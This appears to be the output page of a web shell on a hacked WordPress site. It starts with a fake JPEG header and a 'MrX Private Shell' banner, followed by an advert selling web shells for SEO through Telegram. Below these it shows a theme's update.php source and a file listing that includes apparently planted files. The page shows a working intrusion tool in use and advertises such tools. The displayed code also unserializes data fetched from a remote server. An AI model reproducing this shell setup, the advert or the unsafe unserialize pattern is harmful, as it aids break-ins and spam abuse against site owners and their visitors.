����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
$api_url = PMTHEMES_UPDT_URL;
if(function_exists('wp_get_theme')){
$theme_data = wp_get_theme(get_option('template'));
$theme_version = $theme_data->Version;
} else {
$theme_data = wp_get_theme( get_template_directory() . '/style.css');
$theme_version = $theme_data['Version'];
}
$theme_base = get_option('template');
add_filter('pre_set_site_transient_update_themes', 'pmthemes_theme_new_update');
function pmthemes_theme_new_update($checked_data) {
global $wp_version, $theme_version, $theme_base, $api_url;
$request = array(
'slug' => $theme_base,
'version' => $theme_version,
);
// Start checking for an update
$send_for_check = array(
'body' => array(
'action' => 'theme_update',
'request' => serialize($request),
'api-key' => md5(home_url()),
),
'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url()
);
$raw_response = wp_remote_post($api_url, $send_for_check);
if (!is_wp_error($raw_response) && ($raw_response['response']['code'] == 200))
$response = unserialize($raw_response['body']);
// Feed the update data into WP updater
if (!empty($response))
$checked_data->response[$theme_base] = $response;
return $checked_data;
}
// Take over the Theme info screen on WP multisite
add_filter('themes_api', 'pmthemes_api_call', 10, 3);
function pmthemes_api_call($def, $action, $args) {
global $theme_base, $theme_version, $wp_version, $api_url;
if ( ! isset( $args->slug ) ) {
return false;
}
if ( $args->slug != $theme_base ) {
return false;
}
// Get the current version.
$args->version = $theme_version;
$request_args = array(
'body' => array(
'action' => $action,
'request' => serialize( $args ),
'api-key' => md5( home_url() ),
),
'user-agent' => 'WordPress/'. $wp_version .'; '. home_url(),
);
$request = wp_remote_post( $api_url, $request_args );
if (is_wp_error($request)) {
$res = new WP_Error('themes_api_failed', __('An Unexpected HTTP Error occurred during the API request.</p> <p><a href="?" onclick="document.location.reload(); return false;">Try again</a>','pmthemes'), $request->get_error_message());
} else {
$res = unserialize($request['body']);
if ($res === false)
$res = new WP_Error('themes_api_failed', __('An unknown error occurred','pmthemes'), $request['body']);
}
return $res;
}
if (is_admin())
$current = get_transient('update_themes');| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| customizer | Folder | 0755 |
|
|
| lightbox | Folder | 0755 |
|
|
| widgets | Folder | 0755 |
|
|
| _(:з」 | File | 95.97 KB | 0644 |
|
| custom-colors.php | File | 35.58 KB | 0644 |
|
| custom-fonts.php | File | 3.91 KB | 0644 |
|
| custom-logo.php | File | 1.05 KB | 0644 |
|
| custom-styles.php | File | 12.29 KB | 0644 |
|
| featured-content.php | File | 14.95 KB | 0644 |
|
| iex.php | File | 6.86 KB | 0644 |
|
| index.php | File | 0 B | 0644 |
|
| options.php | File | 3.36 KB | 0644 |
|
| related.php | File | 4.18 KB | 0644 |
|
| theme-functions.php | File | 15.62 KB | 0644 |
|
| theme-tags.php | File | 13.84 KB | 0644 |
|
| update.php | File | 2.69 KB | 0644 |
|
| wp-cleanup.php | File | 844 B | 0644 |
|